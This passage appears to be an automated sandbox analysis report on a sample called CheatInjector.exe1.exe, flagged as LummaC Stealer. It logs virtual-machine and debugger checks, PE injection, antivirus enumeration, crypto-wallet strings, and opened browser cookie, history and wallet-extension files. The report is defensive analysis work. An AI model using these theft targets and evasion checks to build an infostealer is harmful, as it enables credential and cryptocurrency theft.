Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA80C6 push edi; iretd	2_3_00DA80CC
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA9BF2 push edi; iretd	2_3_00DA9BF8
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA9BF2 push edi; iretd	2_3_00DA9BF8

Source: CheatInjector.exe1.exe

Static PE information: section name: .text entropy: 7.09207256696417

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Window / User API: threadDelayed 5905

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe TID: 8852	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe TID: 7040	Thread sleep count: 5905 > 30			Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007BFCDE FindFirstFileExW,		0_2_007BFCDE
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007BFD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_007BFD8F

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CheatInjector.exe1.exe, CheatInjector.exe1.exe, 00000002.00000003.1594521169.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614095844.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1544263244.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2613937125.0000000000D5D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228764180.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1513425489.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.24224532.B64.2408191502,BiosReleaseDate:08/19/2024,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAMX
Source: Amcache.hve.5.dr	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dd-92 e8 86 9f a5 a6 64 93
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: CheatInjector.exe1.exe, 00000002.00000003.1451506965.00000000036C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Code function: 0_2_0074553B _strlen,GetModuleHandleA,GetProcAddress,VirtualProtect,LdrInitializeThunk,OleDraw,GetModuleHandleA,GetProcAddress,OleDraw,FreeConsole,__fread_nolock,_strlen,_strlen,FreeConsole,__fread_nolock,FreeConsole,__fread_nolock,

0_2_0074553B

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Code function: 0_2_007ADC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_007ADC9E

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007AD8E2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_007AD8E2
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007ADC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007ADC9E
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007B5DCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007B5DCE

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Memory written: C:\Users\user\Desktop\CheatInjector.exe1.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Process created: C:\Users\user\Desktop\CheatInjector.exe1.exe "C:\Users\user\Desktop\CheatInjector.exe1.exe"

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_007BF048
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: EnumSystemLocalesW,	0_2_007BB007
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,	0_2_007BF8B3
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: EnumSystemLocalesW,	0_2_007BF299
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_007BF334
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,	0_2_007BAB0C
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,	0_2_007BF5E6
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: EnumSystemLocalesW,	0_2_007BF587
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: EnumSystemLocalesW,	0_2_007BF6BB
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,	0_2_007BF706
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_007BF7AD

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Code function: 0_2_007AE6D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_007AE6D7

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: CheatInjector.exe1.exe, 00000002.00000003.1544263244.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2613997334.0000000000D75000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1544263244.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228940163.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1544410228.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1594521169.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: CheatInjector.exe1.exe PID: 8808, type: MEMORYSTR
Source: Yara match	File source: 2.2.CheatInjector.exe1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.CheatInjector.exe1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2613622402.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: CheatInjector.exe1.exe	String found in binary or memory: Wallets/Electrum
Source: CheatInjector.exe1.exe	String found in binary or memory: Wallets/ElectronCash
Source: CheatInjector.exe1.exe	String found in binary or memory: window-state.json
Source: CheatInjector.exe1.exe, 00000002.00000003.1594787281.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihk
Source: CheatInjector.exe1.exe, 00000002.00000003.1513864716.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: CheatInjector.exe1.exe, 00000002.00000003.1544263244.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: CheatInjector.exe1.exe	String found in binary or memory: %appdata%\Ethereum
Source: CheatInjector.exe1.exe, 00000002.00000003.1513114286.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: CheatInjector.exe1.exe, 00000002.00000003.1517507732.00000000036B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
